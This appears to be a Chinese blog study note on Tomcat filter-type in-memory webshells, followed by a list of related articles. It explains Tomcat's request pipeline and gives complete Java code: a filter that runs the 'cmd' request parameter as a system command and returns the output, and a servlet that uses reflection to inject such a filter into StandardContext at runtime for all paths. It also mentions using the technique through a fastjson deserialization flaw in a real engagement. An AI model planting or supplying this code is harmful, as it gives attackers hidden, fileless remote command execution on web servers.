完全参考:https://www.cnblogs.com/nice0e3/p/14622879.html

这篇笔记,来源逗神的指点,让我去了解了内存马,这篇笔记记录的是filter类型的内存马

内存马的学习基本都是参考上面标注的博客文章,主要自己过一遍学习!

什么是内存马

什么是内存马,内存马即是无文件马,只存在于内存中。我们知道常见的WebShell都是有一个页面文件存在于服务器上,然而内存马则不会存在文件形式。

落地的JSP文件十分容易被设备给检测到,从而得到攻击路径,从而删除webshell以及修补漏洞,内存马也很好的解决了这个问题。

Tomcat请求处理结构

在这里我们来学习下Tomcat的结构,以下是Tomcat对请求处理流程的结构图

Server

即指的WEB服务器,一个Server包括多个Service。

Service

在Connector和Engine外面包了一层(可看上图),把它们组装在一起,对外提供服务。

一个Service可以包含多个Connector,但是只能包含一个Engine,其中Connector的作用是从客户端接收请求,Engine的作用是处理接收进来的请求。

Connector

Connector(连接器)组件是Tomcat最核心的两个组件之一,主要的职责就是负责接收客户端连接和客户端请求的处理加工Request和Response对象

每个Connector都将指定一个端口进行监听,分别负责对请求报文的解析和响应报文组装,解析过程生成Request对象,而组装过程涉及Response对象。

Tomcat有两个典型的Connector:

1、一个直接侦听来自browser的http请求,一个侦听来自其它WebServer的请求Coyote Http/1.1 Connector 在端口8080处侦听来自客户browser的http请求。

2、另外一个是Coyote JK2 Connector 在端口8009处侦听来自其它WebServer(Apache)的servlet/jsp代理请求。

Engine

可以用来配置多个虚拟主机,每个虚拟主机都有一个域名当Engine获得一个请求时,它把该请求匹配到某个Host上,然后把该请求交给该Host来处理Engine有一个默认虚拟主机,当请求无法匹配到任何一个Host上的时候,将交给该默认Host来处理。

Host:

每一个Host代表一个虚拟主机,每个虚拟主机和某个网络域名Domain Name相匹配,这个点可以利用是hosts碰撞

每个虚拟主机下都可以部署(deploy)一个或者多个Web App,每个Web App对应于一个Context,有一个Context path,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理匹配的方法是"最长匹配",所以一个path==""的Context将成为该Host的默认Context所有无法和其它Context的路径名匹配的请求都将最终和该默认Context匹配。

Context:

一个Context对应于一个Web Application,一个WebApplication由一个或者多个Servlet组成。

Context在创建的时候将根据配置文件$CATALINA_HOME/conf/web.xml和$WEBAPP_HOME/WEB-INF/web.xml载入Servlet类,当Context获得请求时,将在自己的映射表(mapping table)中寻找相匹配的Servlet类。如果找到,则执行该类,获得请求的回应,并返回。

这里的映射表其实就是在编写完每个Servlet的时候,需要在web.xml中写到对应的映射标签!

Tomcat的解析流程

还是从Connector开始,Connector将在某个指定的端口上来监听客户的请求,把从socket传递过来的数据,封装成Request,传递给Engine来处理,并从Engine处获得响应并返回给客户端。

Engine:最顶层容器组件,其下可以包含多个 Host。

Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context。

Context:一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper。

Wrapper:一个 Wrapper 代表一个 Servlet。

ProtocolHandler:

在Connector中,包含了多个组件,Connector使用ProtocolHandler处理器来进行加工。

不同的ProtocolHandler代表不同连接类型。ProtocolHandler处理器可以用看作是协议处理统筹者,通过管理其他工作组件实现对请求的处理。

ProtocolHandler 包含了三个非常重要的组件,这三个组件分别是:

  • Endpoint: 负责接受,处理socket网络连接
  • Processor: 负责将从Endpoint接受的socket连接根据协议类型封装成request
  • Adapter:负责将封装好的Request交给Container进行处理,解析为可供Container调用的继承了ServletRequest接口、ServletResponse接口的对象。

请求经Connector处理完毕后,传递给Container进行处理。

Container

Container容器则是负责封装和管理Servlet处理用户的Servlet请求,并返回对象给web用户的模块。

Container 处理请求,内部是使用Pipeline-Value管道来处理的,每个 Pipeline 都有特定的 Value(BaseValue),BaseValue 会在最后执行。

上层容器的BaseValue 会调用下层容器的管道,FilterChain 其实就是这种模式,FilterChain 相当于 Pipeline,每个 Filter 相当于一个 Value。

4 个容器的BaseValve 分别是StandardEngineValve 、StandardHostValve 、StandardContextValve 和StandardWrapperValve。

每个Pipeline 都有特定的Value ,而且是在管道的最后一个执行,这个Valve 叫BaseValve,BaseValve 是不可删除的。

最终的流程图如下:

上面的全部都是抄的,我得用自己的话来加深理解,首先我们在tomcat的解析流程中,我们先了解到的是Connector,它又被称作为连接器,真正起到作用是Connector内部的ProtocolHandler处理器,这个ProtocolHandler处理器封装用户发起的网络请求所对应的Request对象,和当内部处理完返回过来的Response对象。

那么当Connector的ProtocolHandler处理器封装完Request对象之后,就会发送给Container,这个Container容器则是负责封装和管理Servlet和处理用户的servlet请求,这里所谓的Servlet请求其实就是处理Request对象,在处理请求中,起作用的角色则是Container中的Pipeline-Value管道来处理的,当Pipeline-Value处理完之后,接着就会看到一个FilterChain对象!

FilterChain对象

这里继续将FilterChain,这个对象大家肯定都很熟悉啊,因为在学习Servlet的时候,这个是经常出现的,比如我们想要对传进来的数据先做一定的处理,然后再到Servlet对象中进行处理,这里都会用到这个FilterChain对象

过滤链(FilterChain):在一个 Web 应用程序中可以注册多个 Filter 程序,每个 Filter 程序都可以针对某一个 URL 进行拦截。

如果多个 Filter 程序都对同一个 URL 进行拦截,那么这些 Filter 就会组成一个Filter 链(也称过滤器链)

小知识点:在开发中,当我们想要进行多个FilterChain同时作用的时候,那么我们此时还会用到该对象中的doFilter方法来进行传递处理!如果只有一个Filter也需要,默认它则转发给对应的Servlet!

整体的流程:

Server :

  • Service

    -- Connector: 客户端接收请求

    --- ProtocolHandler: 管理其他工作组件实现对请求的处理

    ---- Endpoint: 负责接受,处理socket网络连接

    ---- Processor: 负责将从Endpoint接受的socket连接根据协议类型封装成request

    ---- Adapter: 负责将封装好的Request交给Container进行处理,解析为可供Container调用的继承了ServletRequest接口、ServletResponse接口的对象

    --- Container: 负责封装和管理Servlet 处理用户的servlet请求,并返回对象给web用户的模块

    -- Engine:处理接收进来的请求

    --- Host: 虚拟主机

    --- Host: 虚拟主机

    --- Host: 虚拟主机

    --- Context: 相当于一个web应用

    --- Context:相当于一个web应用

    --- Context:相当于一个web应用

到了这里,我们来实现一个简单的FilterChain吧

用到的POM依赖

<dependencies>
<!-- https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api -->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version>
<scope>provided</scope>
</dependency> <!-- https://mvnrepository.com/artifact/javax.servlet.jsp/javax.servlet.jsp-api -->
<dependency>
<groupId>javax.servlet.jsp</groupId>
<artifactId>javax.servlet.jsp-api</artifactId>
<version>2.3.3</version>
<scope>provided</scope>
</dependency>

Servlet中实现的代码如下:

public class MyServlet extends HttpServlet {

    @Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
System.out.println("我是doGet方法");
resp.getWriter().print("WOW 我爱上了你");
} @Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req, resp);
}
}

过滤器实现的代码:

public class MyFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("WOW Filter init");
} @Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
response.setCharacterEncoding("utf-8");
request.setCharacterEncoding("utf-8");
response.setContentType("text/html;Charset=UTF-8");
System.out.println("我接收到了请求,并且马上就要进行过滤了");
chain.doFilter(request, response); //chain.doFilter将请求转发给过滤器链下一个filter,如果没有filter那就是转发给Servlet,你需要请求的资源
System.out.println("我过滤完了...");
} @Override
public void destroy() {
System.out.println("WOW Filter destroy");
}
}

结果如下,可以看到是 过滤器先接收到请求,然后再转发给Servlet,然后Servlet走了之后又回到过滤器中再之后doFilter之后的内容!

内存马的实现

上面了解了关于Filter对象的学习,那么其实内存马也差不多了解了,就是对一个Filter接口实现的对象

如下先实现一个简单的Filter对象的命令执行的效果

首先那么就是在接口中进行对数据的传入进行判断,对于特殊的字段进行判断,比如"cmd","command"类似的headers来进行判断,这种实现了之后,我们还需要进行全局过滤,就是任何一个路径都需要进行过滤,所以在Servlet中实现的时候,映射的Mapping也需要是为/*这种形式!

如下进行实现操作:

public class MemoryFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException { } @Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
if (request.getParameter("cmd") != null){
Process exec = Runtime.getRuntime().exec(request.getParameter("cmd"));
InputStream inputStream = exec.getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
String output = scanner.hasNext() ? scanner.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
System.out.println("过滤器调用完毕,开始转发给Servlet...");
chain.doFilter(request,response); } @Override
public void destroy() { }
}

接着再加上映射关系:

当请求URL为:http://127.0.0.1:8080/?cmd=whoami

可以发现已经成功执行命令了,并且回显在页面上

上面演示了下关于过滤链,那么对于内存马到底是如何实现的?

首先得明白一点,在实战环境下,你不可能写一个Filter对象然后又放到对方的代码中,这样子不就早getshell了

所以对于内存马,我们是需要找到一个注入点,动态的在内存中创建一个Filter对象,这样子的话就是一个真正的内存马!

那么如何可以动态的在内存中创建Filter对象呢?

知识点1:ServletContext

web应用启动的时候,都会产生一个ServletContext为接口的对象,因为在web中这个ServletContext对象的一些数据能够保证Servlets稳定运行

那么该对象如何获得?

在tomcat容器中中ServletContext的实现类是ApplicationContext类

在web应用中,获取的ServletContext实际上是ApplicationContextFacade的对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,所以说我们在tomcat中拿到StandardContext则是去获取ApplicationContextFacade这个对象。

我们这里通过一个ServletContext servletContext = this.getServletContext();来进行观察这个servletContext是不是我们上面所说的ApplicationContextFacade这个对象!

如下所示下一个断点

当前获取到了ServletContext的实现类,如下所示

我们可以看到这个名为ApplicationContextFacade类,到这里可以说明Tomcat的ServletContext对象确实是ApplicationContextFacade对象

知识点2:组装Filters的流程

我们还需要看下Filter的调用流程是怎么样的?

这里想要调试tomcat的话,需要注意的记得把tomcat下的lib文件导入到idea工程中,要不然idea在调试的时候是找不到的!

找到ApplicationFilterChain对象中,internalDoFilter方法上打上断点(为啥要在这里打断点,后面有说明)

继续跟,可以看到这个internalDoFilter方法获取到了我们所实现的MemoryFilter对象

internalDoFilter方法中接着又会开始调用MemoryFilter对象中实现的doFilter方法

接着就是来到了我们所实现的doFilter的方法,也就是我们执行命令的方法

那么我为什么下断点会下在ApplicationFilterChain对象中的internalDoFilter呢?

那还得看ApplicationFilterChain这个对象是什么?大家可以理解为它是一个调用Filter对象的一个调度类,就是专门用来调用所有实现的Filter对象的doFilter方法,而其中的internalDoFilter就是去调用我们Filter对象中实现的doFilter方法的一个手段

ApplicationFilterChain这个对象又是哪来的呢?我们可以从调用栈中进行观察,下面的图中可以看到StandardWrapperValve这个类中的invoke方法来进行调用的

来到这个StandardWrapperValve的调用栈invoke方法中,可以看到是通过doFilter来进行调用

在StandardWrapperValve类的invoke中,往上拉,其中可以看到这里的filterChain为ApplicationFilterChain的实例化,到这里就可以思考下,上面说到的filterChain.doFilter的filterChain,原来filterChain属性是通过ApplicationFilterFactory.createFilterChain这个方法所获得的,这里继续跟到createFilterChain方法中进行查看

跟进createFilterChain的方法中,它会获取一个StandardContext对象(这个就是我们先引入的知识点1),通过这个对象的findFilterMaps方法来获得所有需要调用的Filter对象,获得到的Filter对象都会放到一个filterMaps的FilterMap数组中去,可以看到当前获得的就两个Filter,其中一个是tomcat默认的,还有个就是我们自己实现的MemoryFilter对象

接着又会开始遍历这个FilterMap数组中的每个FilterMap对象(每个FilterMap都包含了每个Filter的相关信息),每次拿到一个FilterMap对象就是通过matchDispatcher和matchFiltersURL来比较访问的路由和Filter对象的路由是否有包含关系,最后会每个Filter对象相关信息都存储到了FilterConfig对象中,然后再把FilterConfig对象放到了filterChain这个属性中,而这里的filterChain属性就是外面的这个ApplicationFilterChain对象,到这里要调用的每个Filter对象都拼装好了,全部都放入了ApplicationFilterChain对象,ApplicationFilterChain这个对象我们上面也讲过,是一个调度类,专门调用每个Filter的doFilter方法。

知识点3:FilterConfig

现在已经知道了ApplicationFilterChain这个对象的由来和它的作用,我们继续整理下,先是经过一系列的处理最后拿到了ApplicationFilterChain这个对象,这个对象中包含了每个Filter的相关配置信息,最后则开始调用其中的doFilter方法

继续来看createFilterChain方法帮我们做的事情,它实现的Filter的添加,createFilterChain这个方法返回的filterChain最终会被进行调用,那么我们如果能实现在filterChain进行插入的话,那是不是我们就成功的实现了添加自定义的Filter对象?

答案是的,那需要如何实现?回到这个createFilterChain方法中,我们可以看下如下,每次成功添加一个filterConfig则意味着Filter对象的成功被添加进去

这个FilterConfig对象中包含着如下属性

该对象有三个重要的属性,一个是ServletContext,一个是filter,一个是filterDef

那么想要实现一个完整的filterConfig,那么也就是需要这三个,一个是ServletContext,一个是filter,一个是filterDef

开始理清思路:

1、获取当前应用的ServletContext对象

2、再获取filterConfigs

2、接着实现自定义想要注入的filter对象

4、然后为自定义对象的filter创建一个FilterDef

4、最后把 ServletContext对象 filter对象 FilterDef全部都设置到filterConfigs即可完成内存马的实现

这里我们第一步为什么要先获取ServletContext对象,原因就是想要获取filterConfigs就需要通过ServletContext来获取!

实现的代码如下:

public class InjectMemoryServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
Field Configs = null;
Map filterConfigs;
try {
//这里是反射获取ApplicationContext的context,也就是standardContext
ServletContext servletContext = req.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); String FilterName = "cmd_Filter";
Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(FilterName) == null){
Filter filter = new Filter() { @Override
public void init(FilterConfig filterConfig) throws ServletException { } @Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){ InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output); return;
}
filterChain.doFilter(servletRequest,servletResponse);
} @Override
public void destroy() { }
};
//反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
//反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance(); o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1); //反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
resp.getWriter().write("Success");
}
} catch (Exception e) {
e.printStackTrace();
}
} @Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req, resp);
}
}

接着注册下映射关系

这里测试之前先把之前注册的filter注释掉,接着启动服务进行测试

访问URL:http://127.0.0.1:8080/?cmd=whoami

因为前面的filter注释掉了,所以这里没反应

访问URL:http://127.0.0.1:8080/inject

接着访问URL:http://127.0.0.1:8080/?cmd=whoami

那么到现在为止也就是内存马创建了,实现内存马在这里就讲完了

内存马的查杀

参考文章:http://gv7.me/articles/2020/kill-java-web-filter-memshell/

已经学,那就一次性彻底了解到位!

上面已经学习了如何实现内存马,那么这里继续了解内存马该如何查杀

我看了下,又是一些盲目的知识点,还是以后补上去吧!

fastjson配合内存马的实战

项目测试中遇到的fastjson,由于环境问题导致无法反弹shell,我这里使用fastjson反序列化漏洞来实现内存马!

自己在找资料的时候看到的都是shiro的内存马,所以想要实现fastjson反序列化的内存马,这就需要我们自己动手来改了

Java Filter型内存马的学习与实践的更多相关文章

  1. 6. 站在巨人的肩膀学习Java Filter型内存马

    本文站在巨人的肩膀学习Java Filter型内存马,文章里面的链接以及图片引用于下面文章,参考文章: <Tomcat 内存马学习(一):Filter型> <tomcat无文件内存w ...

  2. Java安全之基于Tomcat的Filter型内存马

    Java安全之基于Tomcat的Filter型内存马 写在前面 现在来说,内存马已经是一种很常见的攻击手法了,基本红队项目中对于入口点都是选择打入内存马.而对于内存马的支持也是五花八门,甚至各大公司都 ...

  3. 议题解析与复现--《Java内存攻击技术漫谈》(二)无文件落地Agent型内存马

    无文件落地Agent型内存马植入 可行性分析 使用jsp写入或者代码执行漏洞,如反序列化等,不需要上传agent Java 动态调试技术原理及实践 - 美团技术团队 (meituan.com) 首先, ...

  4. JavaAgent型内存马基础

    Java Instrumentation ​ java Instrumentation指的是可以用独立于应用程序之外的代理(agent)程序来监测和协助运行在JVM上的应用程序.这种监测和协助包括但不 ...

  5. tomcat内存马原理解析及实现

    内存马 简介 ​ Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站.应用.但传统的Webshell都是基于文件类型的,黑客 ...

  6. 简单学习java内存马

    看了雷石的内存马深入浅出,就心血来潮看了看,由于本人java贼菜就不介绍原理了,本文有关知识都贴链接吧 前置知识 本次主要看的是tomcat的内存马,所以前置知识有下列 1.tomcat结构,tomc ...

  7. 【免杀技术】Tomcat内存马-Filter

    Tomcat内存马-Filter型 什么是内存马?为什么要有内存马?什么又是Filter型内存马?这些问题在此就不做赘述 Filter加载流程分析 tomcat启动后正常情况下对于Filter的处理过 ...

  8. 利用shiro反序列化注入冰蝎内存马

    利用shiro反序列化注入冰蝎内存马 文章首发先知社区:https://xz.aliyun.com/t/10696 一.shiro反序列化注入内存马 1)tomcat filter内存马 先来看一个普 ...

  9. 针对spring mvc的controller内存马-学习和实验

    1 基础 实际上java内存马的注入已经有很多方式了,这里在学习中动手研究并写了一款spring mvc应用的内存马.一般来说实现无文件落地的java内存马注入,通常是利用反序列化漏洞,所以动手写了一 ...

随机推荐

  1. 连接Redis服务

    1.命令 redis-cli -h host -p port -a password 2.参数 host:远程redis服务器host port:远程redis服务端口 password:远程redi ...

  2. 20210712考试-2021noip11

    这篇总结比我写的好多了建议直接去看 T1 简单的序列 考场:愣了一会,想到以最大值分治.每次枚举最大值两侧更小的区间,st表预处理前缀和和最大值,用桶统计答案. 注意分治时要去掉最大值. const ...

  3. 【linux】 linux超实用命令整理

    linux实用命令整理 由于开发过程中经常接触linux系统进行各种情况下的操作,故开此博客整理生产环境下操作命令集,温故而知新. 系统命令 快捷键操作命令 1.tab //命令或路径等的补全键,li ...

  4. JS009. 数组去重的多种方法总结与一步步优化

    两层for循环 这种函数的优点是兼容性好比较通用,缺点是时空复杂度都很直观的为O(n2),不利于维护和性能. var array = [1,1,'1','1'] function unique(arr ...

  5. python 金币小游戏

    我最近用python的pygame做了一个金币小游戏 游戏规则:移动挡板接住金币 游戏截图: 代码如下: import pygame.freetype import sys import random ...

  6. Linux系列(29) - rpm包命名规则(1)

    RPM包命名规则 例如包名:httpd-2.2.15-15.el6.centsos.1.i686.rpm 软件包名-httpd 软件版本-2.2.15 发布的次数-15 el6.centos适合的Li ...

  7. 华为云计算IE面试笔记-FusionCompute虚拟机热迁移定义,应用场景,迁移要求,迁移过程

    *热迁移传送了什么数据?保存在哪? 虚拟机的内存.虚拟机描述信息(配置和设备信息).虚拟机的状态 虚拟机的配置和设备信息:操作系统(类别.版本号).引导方式(VM通过硬盘.光盘.U盘.网络启动)和引导 ...

  8. Appium 自动化测试改造思路

    流水账脚本 从头到尾编写测试脚本 PO封装 业务行为与操作具体页面元素分离 basepage封装 如封装find方法,目的时增强稳定性 数据驱动封装 将常用的数据改为配置文件 为构建测试平台打基础

  9. 鸿蒙内核源码分析(消息队列篇) | 进程间如何异步传递大数据 | 百篇博客分析OpenHarmony源码 | v33.02

    百篇博客系列篇.本篇为: v33.xx 鸿蒙内核源码分析(消息队列篇) | 进程间如何异步传递大数据 | 51.c.h .o 进程通讯相关篇为: v26.xx 鸿蒙内核源码分析(自旋锁篇) | 自旋锁 ...

  10. Java实现两数之和等于二十

    找出数组中两个数字之和为20的两个数 代码实现 public static void main(String[] args) { // TODO Auto-generated method stub ...